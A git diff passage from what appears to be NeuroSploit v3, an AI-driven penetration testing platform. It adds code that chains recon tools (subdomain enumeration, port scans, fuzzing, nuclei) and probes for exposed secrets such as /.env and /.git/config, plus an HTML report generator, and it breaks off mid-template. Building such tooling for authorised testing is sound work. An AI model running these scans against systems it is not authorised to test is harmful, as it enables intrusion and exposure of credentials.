re.IGNORECASE) + instructions.extend(matches) + + return instructions + + def _extract_target_filters(self, prompt: str) -> Dict: + """Extract target filtering preferences""" + filters = { + "include_patterns": [], + "exclude_patterns": [], + "focus_on_parameters": [] + } + + # Look for include patterns + include_match = re.findall(r'only\s+test\s+([^.]+)', prompt, re.IGNORECASE) + if include_match: + filters["include_patterns"].extend(include_match) + + # Look for exclude patterns + exclude_match = re.findall(r'(?:skip|exclude|ignore)\s+([^.]+)', prompt, re.IGNORECASE) + if exclude_match: + filters["exclude_patterns"].extend(exclude_match) + + # Look for parameter focus + param_match = re.findall(r'parameter[s]?\s+(?:like|named|called)\s+(\w+)', prompt, re.IGNORECASE) + if param_match: + filters["focus_on_parameters"].extend(param_match) + + return filters + + def _extract_output_preferences(self, prompt_lower: str) -> Dict: + """Extract output and reporting preferences""" + preferences = { + "severity_threshold": "all", + "include_poc": True, + "include_remediation": True + } + + # Severity threshold + if "critical only" in prompt_lower or "only critical" in prompt_lower: + preferences["severity_threshold"] = "critical" + elif "high and above" in prompt_lower or "high severity" in prompt_lower: + preferences["severity_threshold"] = "high" + elif "medium and above" in prompt_lower: + preferences["severity_threshold"] = "medium" + + # PoC preference + if "no poc" in prompt_lower or "without poc" in prompt_lower: + preferences["include_poc"] = False + + # Remediation preference + if "no remediation" in prompt_lower or "without remediation" in prompt_lower: + preferences["include_remediation"] = False + + return preferences diff --git a/backend/core/recon_integration.py b/backend/core/recon_integration.py new file mode 100644 index 0000000..f25de8c --- /dev/null +++ b/backend/core/recon_integration.py @@ -0,0 +1,883 @@ +""" +NeuroSploit v3 - Full Recon Integration + +Integrates 40+ security/recon tools for comprehensive reconnaissance: +- Subdomain Enumeration: subfinder, amass, assetfinder, chaos, cero +- DNS Resolution: dnsx, massdns, puredns +- HTTP Probing: httpx, httprobe +- URL Discovery: gau, waybackurls, katana, gospider, hakrawler, cariddi +- Port Scanning: nmap, naabu, rustscan +- Tech Detection: whatweb, wafw00f +- Fuzzing: ffuf, gobuster, dirb, dirsearch +- Vulnerability Scanning: nuclei, nikto +- Parameter Discovery: arjun, paramspider +""" +import asyncio +import subprocess +import json +import os +import sys +import shutil +from typing import Optional, Callable, List, Dict, Any +from datetime import datetime +from pathlib import Path + +sys.path.insert(0, str(Path(__file__).parent.parent.parent)) + +from backend.api.websocket import manager as ws_manager + + +class ReconIntegration: + """ + Full reconnaissance integration with 40+ security tools. + Automatically uses available tools and skips missing ones. + """ + + def __init__(self, scan_id: str): + self.scan_id = scan_id + self.base_path = Path("/app") + self.results_path = self.base_path / "data" / "recon" + self.results_path.mkdir(parents=True, exist_ok=True) + self.wordlists_path = Path("/opt/wordlists") + + # Track available tools + self.available_tools = {} + + async def log(self, level: str, message: str): + """Send log message via WebSocket""" + await ws_manager.broadcast_log(self.scan_id, level, message) + print(f"[{level.upper()}] {message}") + + def _tool_exists(self, tool: str) -> bool: + """Check if a tool is available""" + if tool not in self.available_tools: + self.available_tools[tool] = shutil.which(tool) is not None + return self.available_tools[tool] + + async def run_full_recon(self, target: str, depth: str = "medium") -> Dict[str, Any]: + """ + Run full reconnaissance using all available tools. + + Args: + target: Target domain or URL + depth: quick, medium, or full + + Returns: + Dictionary with all recon results + """ + await self.log("info", f"🚀 Starting FULL reconnaissance on {target}") + await self.log("info", f"📊 Depth level: {depth}") + await ws_manager.broadcast_progress(self.scan_id, 5, "Initializing reconnaissance...") + + # Check available tools + await self._check_tools() + + results = { + "target": target, + "timestamp": datetime.utcnow().isoformat(), + "depth": depth, + "subdomains": [], + "live_hosts": [], + "urls": [], + "endpoints": [], + "ports": [], + "technologies": [], + "vulnerabilities": [], + "js_files": [], + "parameters": [], + "interesting_paths": [], + "dns_records": [], + "screenshots": [], + "secrets": [] + } + + # Extract domain from URL + domain = self._extract_domain(target) + base_url = target if target.startswith("http") else f"https://{target}" + + # Run recon phases based on depth + phases = self._get_phases(depth) + total_phases = len(phases) + + for i, (phase_name, phase_func) in enumerate(phases): + try: + progress = 5 + int((i / total_phases) * 35) + await ws_manager.broadcast_progress(self.scan_id, progress, f"Recon: {phase_name}") + await self.log("info", f"▶ Running {phase_name}...") + + phase_results = await phase_func(domain, base_url) + results = self._merge_results(results, phase_results) + + # Broadcast discoveries + for endpoint in phase_results.get("endpoints", []): + if isinstance(endpoint, dict): + await ws_manager.broadcast_endpoint_found(self.scan_id, endpoint) + + for url in phase_results.get("urls", [])[:10]: + await ws_manager.broadcast_url_discovered(self.scan_id, url) + + await self.log("info", f"✓ {phase_name} complete") + except Exception as e: + await self.log("warning", f"⚠ {phase_name} failed: {str(e)}") + + # Summary + await self.log("info", f"═══════════════════════════════════════") + await self.log("info", f"📊 Reconnaissance Summary:") + await self.log("info", f" • Subdomains: {len(results['subdomains'])}") + await self.log("info", f" • Live hosts: {len(results['live_hosts'])}") + await self.log("info", f" • URLs: {len(results['urls'])}") + await self.log("info", f" • Endpoints: {len(results['endpoints'])}") + await self.log("info", f" • Open ports: {len(results['ports'])}") + await self.log("info", f" • JS files: {len(results['js_files'])}") + await self.log("info", f" • Nuclei findings: {len(results['vulnerabilities'])}") + await self.log("info", f"═══════════════════════════════════════") + + return results + + async def _check_tools(self): + """Check and report available tools""" + essential_tools = [ + "subfinder", "httpx", "nuclei", "nmap", "katana", "gau", + "waybackurls", "ffuf", "gobuster", "amass", "naabu" + ] + + available = [] + missing = [] + + for tool in essential_tools: + if self._tool_exists(tool): + available.append(tool) + else: + missing.append(tool) + + await self.log("info", f"🔧 Tools available: {', '.join(available)}") + if missing: + await self.log("debug", f"Missing tools: {', '.join(missing)}") + + def _extract_domain(self, target: str) -> str: + """Extract domain from URL""" + domain = target.replace("https://", "").replace("http://", "") + domain = domain.split("/")[0] + domain = domain.split(":")[0] + return domain + + def _get_phases(self, depth: str) -> List[tuple]: + """Get recon phases based on depth""" + quick_phases = [ + ("DNS Resolution", self._dns_resolution), + ("HTTP Probing", self._http_probe), + ("Basic Path Discovery", self._basic_paths), + ] + + medium_phases = quick_phases + [ + ("Subdomain Enumeration", self._subdomain_enum), + ("URL Collection", self._url_collection), + ("Port Scan (Top 100)", self._port_scan_quick), + ("Technology Detection", self._tech_detection), + ("Web Crawling", self._web_crawl), + ] + + full_phases = medium_phases + [ + ("Full Port Scan", self._port_scan_full), + ("Parameter Discovery", self._param_discovery), + ("JavaScript Analysis", self._js_analysis), + ("Directory Fuzzing", self._directory_fuzz), + ("Nuclei Vulnerability Scan", self._nuclei_scan), + ("Screenshot Capture", self._screenshot_capture), + ] + + return { + "quick": quick_phases, + "medium": medium_phases, + "full": full_phases + }.get(depth, medium_phases) + + async def _run_command(self, cmd: List[str], timeout: int = 120) -> str: + """Run a shell command asynchronously""" + try: + process = await asyncio.create_subprocess_exec( + *cmd, + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE + ) + stdout, stderr = await asyncio.wait_for( + process.communicate(), + timeout=timeout + ) + return stdout.decode('utf-8', errors='ignore') + except asyncio.TimeoutError: + try: + process.kill() + except: + pass + return "" + except Exception as e: + return "" + + # ========================================================================= + # RECON PHASES + # ========================================================================= + + async def _dns_resolution(self, domain: str, base_url: str) -> Dict: + """DNS resolution using dnsx, dig""" + results = {"dns_records": [], "subdomains": []} + + # Try dnsx + if self._tool_exists("dnsx"): + output = await self._run_command( + ["dnsx", "-d", domain, "-a", "-aaaa", "-cname", "-mx", "-ns", "-txt", "-silent"], + timeout=60 + ) + if output: + for line in output.strip().split("\n"): + if line: + results["dns_records"].append(line) + await self.log("debug", f"DNS: {line}") + + # Fallback to dig + if not results["dns_records"]: + for record_type in ["A", "AAAA", "MX", "NS", "TXT", "CNAME"]: + output = await self._run_command(["dig", domain, record_type, "+short"], timeout=10) + if output: + for line in output.strip().split("\n"): + if line: + results["dns_records"].append(f"{record_type}: {line}") + + return results + + async def _http_probe(self, domain: str, base_url: str) -> Dict: + """HTTP probing using httpx, httprobe""" + results = {"live_hosts": [], "endpoints": []} + + # Try httpx (preferred) + if self._tool_exists("httpx"): + output = await self._run_command( + ["httpx", "-u", domain, "-silent", "-status-code", "-title", + "-tech-detect", "-content-length", "-web-server"], + timeout=60 + ) + if output: + for line in output.strip().split("\n"): + if line: + results["live_hosts"].append(line) + parts = line.split() + url = parts[0] if parts else f"https://{domain}" + results["endpoints"].append({ + "url": url, + "method": "GET", + "path": "/", + "status": int(parts[1].strip("[]")) if len(parts) > 1 and parts[1].strip("[]").isdigit() else 200, + "source": "httpx" + }) + + # Try httprobe + elif self._tool_exists("httprobe"): + process = await asyncio.create_subprocess_exec( + "httprobe", + stdin=asyncio.subprocess.PIPE, + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE + ) + stdout, _ = await asyncio.wait_for( + process.communicate(input=f"{domain}\n".encode()), + timeout=30 + ) + if stdout: + for line in stdout.decode().strip().split("\n"): + if line: + results["live_hosts"].append(line) + results["endpoints"].append({ + "url": line, + "method": "GET", + "path": "/", + "source": "httprobe" + }) + + # Fallback to curl + if not results["live_hosts"]: + for proto in ["https", "http"]: + url = f"{proto}://{domain}" + output = await self._run_command( + ["curl", "-sI", "-m", "10", "-o", "/dev/null", "-w", "%{http_code}", url], + timeout=15 + ) + if output and output.strip() not in ["000", ""]: + results["live_hosts"].append(f"{url} [{output.strip()}]") + results["endpoints"].append({ + "url": url, + "status": int(output.strip()) if output.strip().isdigit() else 0, + "source": "curl" + }) + + return results + + async def _basic_paths(self, domain: str, base_url: str) -> Dict: + """Check common paths""" + results = {"endpoints": [], "interesting_paths": []} + + common_paths = [ + "/", "/robots.txt", "/sitemap.xml", "/.git/config", "/.env", + "/api", "/api/v1", "/api/v2", "/graphql", "/swagger", "/api-docs", + "/swagger.json", "/openapi.json", "/.well-known/security.txt", + "/admin", "/administrator", "/login", "/register", "/dashboard", + "/wp-admin", "/wp-login.php", "/wp-content", "/wp-includes", + "/phpmyadmin", "/pma", "/console", "/debug", "/trace", + "/actuator", "/actuator/health", "/actuator/env", "/metrics", + "/server-status", "/server-info", "/.htaccess", "/.htpasswd", + "/backup", "/backup.zip", "/backup.sql", "/db.sql", "/dump.sql", + "/config", "/config.php", "/config.json", "/settings.json", + "/uploads", "/files", "/static", "/assets", "/media", + "/test", "/dev", "/staging", "/temp", "/tmp", + "/.git/HEAD", "/.svn/entries", "/.DS_Store", + "/info.php", "/phpinfo.php", "/test.php", + "/elmah.axd", "/trace.axd", "/web.config" + ] + + import aiohttp + connector = aiohttp.TCPConnector(ssl=False, limit=20) + timeout = aiohttp.ClientTimeout(total=10) + + async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session: + tasks = [] + for path in common_paths: + tasks.append(self._check_path(session, base_url, path, results)) + + await asyncio.gather(*tasks, return_exceptions=True) + + return results + + async def _check_path(self, session, base_url: str, path: str, results: Dict): + """Check a single path""" + try: + url = f"{base_url.rstrip('/')}{path}" + async with session.get(url, allow_redirects=False) as response: + if response.status < 404: + endpoint = { + "url": url, + "path": path, + "status": response.status, + "content_type": response.headers.get("Content-Type", ""), + "content_length": response.headers.get("Content-Length", ""), + "source": "path_check" + } + results["endpoints"].append(endpoint) + + # Mark interesting paths + sensitive_paths = ["/.git", "/.env", "/debug", "/actuator", + "/backup", "/config", "/.htaccess", "/phpinfo", + "/trace", "/elmah", "/web.config"] + if any(s in path for s in sensitive_paths): + results["interesting_paths"].append({ + "path": path, + "status": response.status, + "risk": "high", + "reason": "Potentially sensitive file/endpoint" + }) + await self.log("warning", f"🚨 Interesting: {path} [{response.status}]") + else: + await self.log("info", f"Found: {path} [{response.status}]") + except: + pass + + async def _subdomain_enum(self, domain: str, base_url: str) -> Dict: + """Subdomain enumeration using multiple tools""" + results = {"subdomains": []} + found_subs = set() + + await self.log("info", f"🔍 Enumerating subdomains for {domain}") + + # 1. Subfinder (fast and reliable) + if self._tool_exists("subfinder"): + await self.log("debug", "Running subfinder...") + output = await self._run_command( + ["subfinder", "-d", domain, "-silent", "-all"], + timeout=180 + ) + if output: + for sub in output.strip().split("\n"): + if sub and sub not in found_subs: + found_subs.add(sub) + + # 2. Amass (comprehensive) + if self._tool_exists("amass"): + await self.log("debug", "Running amass passive...") + output = await self._run_command( + ["amass", "enum", "-passive", "-d", domain, "-timeout", "3"], + timeout=240 + ) + if output: + for sub in output.strip().split("\n"): + if sub and sub not in found_subs: + found_subs.add(sub) + + # 3. Assetfinder + if self._tool_exists("assetfinder"): + await self.log("debug", "Running assetfinder...") + output = await self._run_command( + ["assetfinder", "--subs-only", domain], + timeout=60 + ) + if output: + for sub in output.strip().split("\n"): + if sub and sub not in found_subs: + found_subs.add(sub) + + # 4. Chaos (if API key available) + if self._tool_exists("chaos") and os.environ.get("CHAOS_KEY"): + await self.log("debug", "Running chaos...") + output = await self._run_command( + ["chaos", "-d", domain, "-silent"], + timeout=60 + ) + if output: + for sub in output.strip().split("\n"): + if sub and sub not in found_subs: + found_subs.add(sub) + + # 5. Cero (certificate transparency) + if self._tool_exists("cero"): + await self.log("debug", "Running cero...") + output = await self._run_command( + ["cero", domain], + timeout=60 + ) + if output: + for sub in output.strip().split("\n"): + if sub and domain in sub and sub not in found_subs: + found_subs.add(sub) + + results["subdomains"] = list(found_subs) + await self.log("info", f"✓ Found {len(found_subs)} subdomains") + + return results + + async def _url_collection(self, domain: str, base_url: str) -> Dict: + """Collect URLs from various sources""" + results = {"urls": [], "parameters": [], "js_files": []} + found_urls = set() + + await self.log("info", f"🔗 Collecting URLs for {domain}") + + # 1. GAU (GetAllUrls) + if self._tool_exists("gau"): + await self.log("debug", "Running gau...") + output = await self._run_command( + ["gau", "--threads", "5", "--subs", domain], + timeout=180 + ) + if output: + for url in output.strip().split("\n")[:1000]: + if url and url not in found_urls: + found_urls.add(url) + if url.endswith(".js"): + results["js_files"].append(url) + if "?" in url: + results["parameters"].append(url) + + # 2. Waybackurls + if self._tool_exists("waybackurls"): + await self.log("debug", "Running waybackurls...") + output = await self._run_command( + ["waybackurls", domain], + timeout=120 + ) + if output: + for url in output.strip().split("\n")[:1000]: + if url and url not in found_urls: + found_urls.add(url) + if url.endswith(".js"): + results["js_files"].append(url) + if "?" in url: + results["parameters"].append(url) + + results["urls"] = list(found_urls) + await self.log("info", f"✓ Collected {len(found_urls)} URLs, {len(results['parameters'])} with parameters") + + return results + + async def _port_scan_quick(self, domain: str, base_url: str) -> Dict: + """Quick port scan (top 100)""" + results = {"ports": []} + + await self.log("info", f"🔌 Port scanning {domain} (top 100)") + + # Try naabu (fastest) + if self._tool_exists("naabu"): + await self.log("debug", "Running naabu...") + output = await self._run_command( + ["naabu", "-host", domain, "-top-ports", "100", "-silent"], + timeout=120 + ) + if output: + for line in output.strip().split("\n"): + if line: + results["ports"].append(line) + await self.log("info", f"Port: {line}") + + # Fallback to nmap + elif self._tool_exists("nmap"): + await self.log("debug", "Running nmap...") + output = await self._run_command( + ["nmap", "-sT", "-T4", "--top-ports", "100", "-oG", "-", domain], + timeout=180 + ) + if output: + for line in output.split("\n"): + if "Ports:" in line: + ports_part = line.split("Ports:")[1] + for port_info in ports_part.split(","): + if "/open/" in port_info: + port = port_info.strip().split("/")[0] + results["ports"].append(f"{domain}:{port}") + await self.log("info", f"Port: {domain}:{port}") + + return results + + async def _port_scan_full(self, domain: str, base_url: str) -> Dict: + """Full port scan""" + results = {"ports": []} + + await self.log("info", f"🔌 Full port scan on {domain}") + + # Try rustscan (fastest full scan) + if self._tool_exists("rustscan"): + await self.log("debug", "Running rustscan...") + output = await self._run_command( + ["rustscan", "-a", domain, "--ulimit", "5000", "-g"], + timeout=300 + ) + if output: + for line in output.strip().split("\n"): + if line and "->" in line: + results["ports"].append(line) + + # Fallback to naabu full + elif self._tool_exists("naabu"): + output = await self._run_command( + ["naabu", "-host", domain, "-p", "-", "-silent"], + timeout=600 + ) + if output: + for line in output.strip().split("\n"): + if line: + results["ports"].append(line) + + return results + + async def _tech_detection(self, domain: str, base_url: str) -> Dict: + """Detect technologies""" + results = {"technologies": []} + + await self.log("info", f"🔬 Detecting technologies on {base_url}") + + # Try whatweb + if self._tool_exists("whatweb"): + await self.log("debug", "Running whatweb...") + output = await self._run_command( + ["whatweb", "-q", "-a", "3", "--color=never", base_url], + timeout=60 + ) + if output: + results["technologies"].append({"source": "whatweb", "data": output.strip()}) + await self.log("debug", f"WhatWeb: {output[:200]}...") + + # Try wafw00f (WAF detection) + if self._tool_exists("wafw00f"): + await self.log("debug", "Running wafw00f...") + output = await self._run_command( + ["wafw00f", base_url, "-o", "-"], + timeout=60 + ) + if output and "No WAF" not in output: + results["technologies"].append({"source": "wafw00f", "data": output.strip()}) + await self.log("warning", f"WAF detected: {output[:100]}") + + return results + + async def _web_crawl(self, domain: str, base_url: str) -> Dict: + """Crawl the website for endpoints""" + results = {"endpoints": [], "js_files": [], "urls": []} + + await self.log("info", f"🕷 Crawling {base_url}") + + # Try katana (modern, fast) + if self._tool_exists("katana"): + await self.log("debug", "Running katana...") + output = await self._run_command( + ["katana", "-u", base_url, "-d", "3", "-silent", "-jc", "-kf", "all"], + timeout=180 + ) + if output: + for url in output.strip().split("\n"): + if url: + if url.endswith(".js"): + results["js_files"].append(url) + results["endpoints"].append({"url": url, "source": "katana"}) + results["urls"].append(url) + + # Try gospider + if self._tool_exists("gospider"): + await self.log("debug", "Running gospider...") + output = await self._run_command( + ["gospider", "-s", base_url, "-d", "2", "-t", "5", "--no-redirect", "-q"], + timeout=180 + ) + if output: + for line in output.strip().split("\n"): + if "[" in line and "]" in line: + parts = line.split(" - ") + if len(parts) > 1: + url = parts[-1].strip() + if url and url.startswith("http"): + if url not in results["urls"]: + results["urls"].append(url) + results["endpoints"].append({"url": url, "source": "gospider"}) + + # Try hakrawler + if self._tool_exists("hakrawler") and not results["endpoints"]: + await self.log("debug", "Running hakrawler...") + process = await asyncio.create_subprocess_exec( + "hakrawler", "-d", "2", "-u", + stdin=asyncio.subprocess.PIPE, + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE + ) + stdout, _ = await asyncio.wait_for( + process.communicate(input=f"{base_url}\n".encode()), + timeout=120 + ) + if stdout: + for url in stdout.decode().strip().split("\n"): + if url and url.startswith("http"): + results["urls"].append(url) + results["endpoints"].append({"url": url, "source": "hakrawler"}) + + await self.log("info", f"✓ Crawled {len(results['endpoints'])} endpoints, {len(results['js_files'])} JS files") + return results + + async def _param_discovery(self, domain: str, base_url: str) -> Dict: + """Discover parameters""" + results = {"parameters": []} + + await self.log("info", f"🔎 Discovering parameters for {domain}") + + # Try paramspider + if self._tool_exists("paramspider"): + await self.log("debug", "Running paramspider...") + output = await self._run_command( + ["paramspider", "-d", domain, "--quiet"], + timeout=120 + ) + if output: + for url in output.strip().split("\n"): + if url and "?" in url: + results["parameters"].append(url) + + # Try arjun + if self._tool_exists("arjun"): + await self.log("debug", "Running arjun...") + output = await self._run_command( + ["arjun", "-u", base_url, "--stable", "-oT", "/dev/stdout"], + timeout=180 + ) + if output: + for line in output.strip().split("\n"): + if ":" in line and line not in results["parameters"]: + results["parameters"].append(line) + + return results + + async def _js_analysis(self, domain: str, base_url: str) -> Dict: + """Analyze JavaScript files for secrets and endpoints""" + results = {"secrets": [], "endpoints": [], "js_files": []} + + await self.log("info", f"📜 Analyzing JavaScript files") + + # Try getJS + if self._tool_exists("getJS"): + await self.log("debug", "Running getJS...") + output = await self._run_command( + ["getJS", "-u", base_url, "--complete"], + timeout=60 + ) + if output: + for js_url in output.strip().split("\n"): + if js_url and js_url.endswith(".js"): + results["js_files"].append(js_url) + + return results + + async def _directory_fuzz(self, domain: str, base_url: str) -> Dict: + """Directory fuzzing""" + results = {"endpoints": []} + + wordlist = self.wordlists_path / "common.txt" + if not wordlist.exists(): + return results + + await self.log("info", f"📂 Fuzzing directories on {base_url}") + + # Try ffuf (fastest) + if self._tool_exists("ffuf"): + await self.log("debug", "Running ffuf...") + output = await self._run_command( + ["ffuf", "-u", f"{base_url}/FUZZ", "-w", str(wordlist), + "-mc", "200,201,204,301,302,307,401,403,405", + "-t", "50", "-o", "-", "-of", "json"], + timeout=180 + ) + if output: + try: + data = json.loads(output) + for result in data.get("results", []): + results["endpoints"].append({ + "url": result.get("url", ""), + "status": result.get("status", 0), + "length": result.get("length", 0), + "source": "ffuf" + }) + except: + pass + + # Try gobuster + elif self._tool_exists("gobuster"): + await self.log("debug", "Running gobuster...") + output = await self._run_command( + ["gobuster", "dir", "-u", base_url, "-w", str(wordlist), + "-t", "50", "-q", "--no-error"], + timeout=180 + ) + if output: + for line in output.strip().split("\n"): + if line and "(Status:" in line: + parts = line.split() + if parts: + path = parts[0] + results["endpoints"].append({ + "url": f"{base_url}{path}", + "path": path, + "source": "gobuster" + }) + + return results + + async def _nuclei_scan(self, domain: str, base_url: str) -> Dict: + """Run nuclei vulnerability scanner""" + results = {"vulnerabilities": []} + + if not self._tool_exists("nuclei"): + return results + + await self.log("info", f"☢ Running Nuclei vulnerability scan on {base_url}") + + output = await self._run_command( + ["nuclei", "-u", base_url, "-severity", "critical,high,medium", + "-silent", "-json", "-c", "25"], + timeout=600 + ) + + if output: + for line in output.strip().split("\n"): + if line: + try: + vuln = json.loads(line) + results["vulnerabilities"].append({ + "name": vuln.get("info", {}).get("name", "Unknown"), + "severity": vuln.get("info", {}).get("severity", "unknown"), + "url": vuln.get("matched-at", ""), + "template": vuln.get("template-id", ""), + "description": vuln.get("info", {}).get("description", ""), + "matcher_name": vuln.get("matcher-name", "") + }) + + await ws_manager.broadcast_vulnerability_found(self.scan_id, { + "title": vuln.get("info", {}).get("name", "Unknown"), + "severity": vuln.get("info", {}).get("severity", "unknown"), + "type": "nuclei", + "endpoint": vuln.get("matched-at", "") + }) + + severity = vuln.get("info", {}).get("severity", "unknown").upper() + await self.log("warning", f"☢ NUCLEI [{severity}]: {vuln.get('info', {}).get('name')}") + except: + pass + + await self.log("info", f"✓ Nuclei found {len(results['vulnerabilities'])} issues") + return results + + async def _screenshot_capture(self, domain: str, base_url: str) -> Dict: + """Capture screenshots of web pages""" + results = {"screenshots": []} + + if not self._tool_exists("gowitness"): + return results + + await self.log("info", f"📸 Capturing screenshots") + + screenshot_dir = self.results_path / "screenshots" / self.scan_id + screenshot_dir.mkdir(parents=True, exist_ok=True) + + output = await self._run_command( + ["gowitness", "single", base_url, "-P", str(screenshot_dir)], + timeout=60 + ) + + # List captured screenshots + if screenshot_dir.exists(): + for f in screenshot_dir.glob("*.png"): + results["screenshots"].append(str(f)) + + return results + + def _merge_results(self, base: Dict, new: Dict) -> Dict: + """Merge two result dictionaries""" + for key, value in new.items(): + if key in base: + if isinstance(value, list): + # Deduplicate while merging + existing = set(str(x) for x in base[key]) + for item in value: + if str(item) not in existing: + base[key].append(item) + existing.add(str(item)) + elif isinstance(value, dict): + base[key].update(value) + else: + base[key] = value + return base + + +async def check_tools_installed() -> Dict[str, bool]: + """Check which recon tools are installed""" + tools = [ + # Subdomain enumeration + "subfinder", "amass", "assetfinder", "chaos", "cero", + # DNS + "dnsx", "massdns", "puredns", + # HTTP probing + "httpx", "httprobe", + # URL discovery + "gau", "waybackurls", "katana", "gospider", "hakrawler", "cariddi", "getJS", + # Port scanning + "nmap", "naabu", "rustscan", + # Tech detection + "whatweb", "wafw00f", + # Fuzzing + "ffuf", "gobuster", "dirb", "dirsearch", "wfuzz", + # Parameter discovery + "arjun", "paramspider", + # Vulnerability scanning + "nuclei", "nikto", "sqlmap", "dalfox", "crlfuzz", + # Utilities + "gf", "qsreplace", "unfurl", "anew", "jq", + # Screenshot + "gowitness", + # Network + "curl", "wget", "dig", "whois" + ] + + results = {} + for tool in tools: + results[tool] = shutil.which(tool) is not None + + return results diff --git a/backend/core/report_engine/__init__.py b/backend/core/report_engine/__init__.py new file mode 100644 index 0000000..c5b5f99 --- /dev/null +++ b/backend/core/report_engine/__init__.py @@ -0,0 +1,3 @@ +from backend.core.report_engine.generator import ReportGenerator + +__all__ = ["ReportGenerator"] diff --git a/backend/core/report_engine/generator.py b/backend/core/report_engine/generator.py new file mode 100644 index 0000000..5318dd3 --- /dev/null +++ b/backend/core/report_engine/generator.py @@ -0,0 +1,370 @@ +""" +NeuroSploit v3 - Report Generator + +Generates professional HTML, PDF, and JSON reports. +""" +import json +from datetime import datetime +from pathlib import Path +from typing import List, Tuple, Optional + +from backend.models import Scan, Vulnerability +from backend.config import settings + + +class ReportGenerator: + """Generates security assessment reports""" + + SEVERITY_COLORS = { + "critical": "#dc3545", + "high": "#fd7e14", + "medium": "#ffc107", + "low": "#17a2b8", + "info": "#6c757d" + } + + def __init__(self): + self.reports_dir = settings.REPORTS_DIR + + async def generate( + self, + scan: Scan, + vulnerabilities: List[Vulnerability], + format: str = "html", + title: Optional[str] = None, + include_executive_summary: bool = True, + include_poc: bool = True, + include_remediation: bool = True + ) -> Tuple[Path, str]: + """ + Generate a report. + + Returns: + Tuple of (file_path, executive_summary) + """ + title = title or f"Security Assessment Report - {scan.name}" + timestamp = datetime.now().strftime("%Y%m%d_%H%M%S") + + # Generate executive summary + executive_summary = self._generate_executive_summary(scan, vulnerabilities) + + if format == "html": + content = self._generate_html( + scan, vulnerabilities, title, + executive_summary if include_executive_summary else None, + include_poc, include_remediation + ) + filename = f"report_{timestamp}.html" + elif format == "json": + content = self._generate_json(scan, vulnerabilities, title, executive_summary) + filename = f"report_{timestamp}.json" + elif format == "pdf": + # Generate HTML first, then convert to PDF + html_content = self._generate_html( + scan, vulnerabilities, title, + executive_summary, include_poc, include_remediation + ) + content = html_content # PDF conversion would happen here + filename = f"report_{timestamp}.html" # For now, save as HTML + else: + raise ValueError(f"Unsupported format: {format}") + + # Save report + file_path = self.reports_dir / filename + file_path.write_text(content) + + return file_path, executive_summary + + def _generate_executive_summary(self, scan: Scan, vulnerabilities: List[Vulnerability]) -> str: + """Generate executive summary text""" + total = len(vulnerabilities) + critical = sum(1 for v in vulnerabilities if v.severity == "critical") + high = sum(1 for v in vulnerabilities if v.severity == "high") + medium = sum(1 for v in vulnerabilities if v.severity == "medium") + low = sum(1 for v in vulnerabilities if v.severity == "low") + + risk_level = "Critical" if critical > 0 else "High" if high > 0 else "Medium" if medium > 0 else "Low" if low > 0 else "Informational" + + summary = f"""A security assessment was conducted on the target application. +The assessment identified {total} vulnerabilities across the tested endpoints. + +Risk Summary: +- Critical: {critical} +- High: {high} +- Medium: {medium} +- Low: {low} + +Overall Risk Level: {risk_level} + +{"Immediate attention is required to address critical and high severity findings." if critical or high else "The application has a reasonable security posture with some areas for improvement."} +""" + return summary + + def _generate_html( + self, + scan: Scan, + vulnerabilities: List[Vulnerability], + title: str, + executive_summary: Optional[str], + include_poc: bool, + include_remediation: bool + ) -> str: + """Generate HTML report""" + # Count by severity + severity_counts = { + "critical": sum(1 for v in vulnerabilities if v.severity == "critical"), + "high": sum(1 for v in vulnerabilities if v.severity == "high"), + "medium": sum(1 for v in vulnerabilities if v.severity == "medium"), + "low": sum(1 for v in vulnerabilities if v.severity == "low"), + "info": sum(1 for v in vulnerabilities if v.severity == "info") + } + total = sum(severity_counts.values()) + + # Generate vulnerability cards + vuln_cards = "" + for vuln in vulnerabilities: + color = self.SEVERITY_COLORS.get(vuln.severity, "#6c757d") + poc_section = "" + if include_poc and (vuln.poc_request or vuln.poc_payload): + poc_section = f""" +
+

Proof of Concept

+ {f'
{self._escape_html(vuln.poc_payload or "")}
' if vuln.poc_payload else ''} + {f'
{self._escape_html(vuln.poc_request[:1000] if vuln.poc_request else "")}
' if vuln.poc_request else ''} +
+ """ + + remediation_section = "" + if include_remediation and vuln.remediation: + remediation_section = f""" +
+

Remediation

+

{self._escape_html(vuln.remediation)}

+
+ """ + + vuln_cards += f""" +
+
+ {vuln.severity.upper()} +

{self._escape_html(vuln.title)}

+
+
+ Type: {vuln.vulnerability_type} + {f'CWE: {vuln.cwe_id}' if vuln.cwe_id else ''} + {f'CVSS: {vuln.cvss_score}' if vuln.cvss_score else ''} +
+
+

Affected Endpoint: {self._escape_html(vuln.affected_endpoint or 'N/A')}

+

Description: {self._escape_html(vuln.description or 'N/A')}

+ {f'

Impact: {self._escape_html(vuln.impact)}

' if vuln.impact else ''} + {poc_section} + {remediation_section} +
+
+ """ + + html = f""" + + + + + {self._escape_html(title)} + + + +
+
+

NeuroSploit Security Report

+

{self._escape_html(title)}

+

Generated: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}

+
+ +
+
+
{severity_counts['critical']}
+
Critical
+
+
+
{severity_counts['high']}
+
High
+
+
+
{severity_counts['medium']}
+
Medium
+
+
+
{severity_counts['low']}
+
Low
+
+
+
{total}
+
Total
+
+
+ + {f'''
+

Executive Summary

+

{self._escape_html(executive_summary)}

+
''' if executive_summary else ''} + +
+

Vulnerability Findings

+ {vuln_cards if vuln_cards else '

No vulnerabilities found.

'} +
+ +
+

Generated by NeuroSploit v3 - AI-Powered Penetration Testing Platform

+
+
